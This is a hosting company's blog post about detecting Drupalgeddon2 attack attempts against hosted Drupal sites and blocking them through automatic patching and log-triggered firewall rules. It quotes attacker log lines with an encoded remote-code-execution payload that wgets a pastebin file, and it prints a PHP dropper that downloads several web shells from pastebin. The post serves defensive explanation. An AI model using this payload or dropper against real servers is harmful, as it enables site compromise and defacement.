At Node-Nine, we LOVE automation. That’s what computers actually DO best… if you know how to teach them what to do. In this post, we discuss the benefits to having automation in place for various tasks, such as keeping software patched as well as dynamically applying firewall rules based on certain event conditions.
Starting April 24th 2018, ( [24/Apr/2018:17:25:34 -0700] to be exact), we started seeing some interesting new logs showing up for some sites we host.
[24/Apr/2018:17:25:34 -0700] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=wget+https%3A%2F%2Fpastebin.com%2Fraw%2FtBqLLGbw+-O+spy0x.php HTTP/1.1" 301 883 "-" "python-requests/2.18.4" [24/Apr/2018:17:25:48 -0700] "GET /?q=user%252Fpassword&name%255B%2523post_render%255D%255B%255D=passthru&name%255B%2523type%255D=markup&name%255B%2523markup%255D=wget+https%253A%252F%252Fpastebin.com%252Fraw%252FtBqLLGbw+-O+spy0x.php HTTP/1.1" 404 11188 "-" "python-requests/2.18.4"
Normally we just see boring script-kiddie stuff like repeated requests for things wp-login.php… but this HTTP dialog caught our eye.
Seems that requests were coming in and referencing some external content hosted on pastebin.com. A quick decode gave us the URL being referenced.
https://pastebin.com/raw/tBqLLGbw
Checking the pastebin content, we found the following.
<?php
echo "Mister Spy Rce Shell";
$htaccess = "https://pastebin.com/raw/r659jHVS";
$file = file_get_contents($htaccess);
$open = fopen("def.php" , 'w');
fwrite($open,$file);
fclose($open);
$cgi = "https://pastebin.com/raw/A9yeF55J";
$file = file_get_contents($cgi);
$open = fopen("p34ky1337.php" , 'w');
fwrite($open,$file);
fclose($open);
$htaccess = "https://pastebin.com/raw/8HBFJYd5";
$file = file_get_contents($htaccess);
$open = fopen("home.php" , 'w');
fwrite($open,$file);
fclose($open);
$cgi = "https://pastebin.com/raw/eEngaWDu";
$file = file_get_contents($cgi);
$open = fopen("r33t.php" , 'w');
fwrite($open,$file);
fclose($open);
?>
This only intrigued us more.
Some light reading found that there’s a new Drupal vulnerability that seems to have surfaced in recent weeks.
https://www.volexity.com/blog/tag/drupalgeddon2/
Based on Volexity’s reporting, unpatched Drupal instances all across the web are being both defaced as well as being used for crypto-mining. Neat.
Anyway, not wanting our hosted clients to have their pages defaced or used for inappropriate purposes, we already have measures in place that keep our customer CMS sites automatically patched and up to date. So the fact that a fix for this bug was released weeks ago, we had already patched for this the day the patch was released. Automation for the win! We also have active Nagios checks in place to alert on any updates that are pending or need reviewed for these CMS suites, so we were well aware of the released updates as well as the fact that patching had successfully been applied. More automation for the win.
And the last component, since we don’t want to fully rely on just the patches as the only level of defense, we also have a system in place to automatically block traffic that matches certain ‘violation’ conditions. This triggers whenever a log matches one of these conditions and then dynamically applies a filter across all of our systems to drop the offending source address(es) right on their butt. This way bad-actors get filtered from all of our resources. No point in accepting any traffic from systems attempting known attacks.
While this does require a quick edit to add in any new patterns, once applied, our ‘shields’ system takes over as a second level of protection above and beyond these sites already having been patched.
The funniest bit about this component is in the patterns that we’re able to use to add to this system. The first couple attempts at these hacks were using the user-agent string of ‘python-requests/2.18.4’. Future requests though have been updated to literally announce ‘drupalgeddon2’ as their user-agent string… so the burglar is literally knocking on the door and saying “hello, I’m a burglar, may I come in”. So the script kiddies using this tool aren’t even trying to hide what they’re up to.
158.69.133.31 - - [25/Apr/2018:08:08:10 -0700] "POST /CHANGELOG.txt HTTP/1.1" 404 56618 "-" "drupalgeddon2"
So hats off to whomever wrote the drupalgeddon2 code. Thanks for adding in that massive pirate-flag you’re flying, announcing your presence. Sure makes preventing your code that much simpler.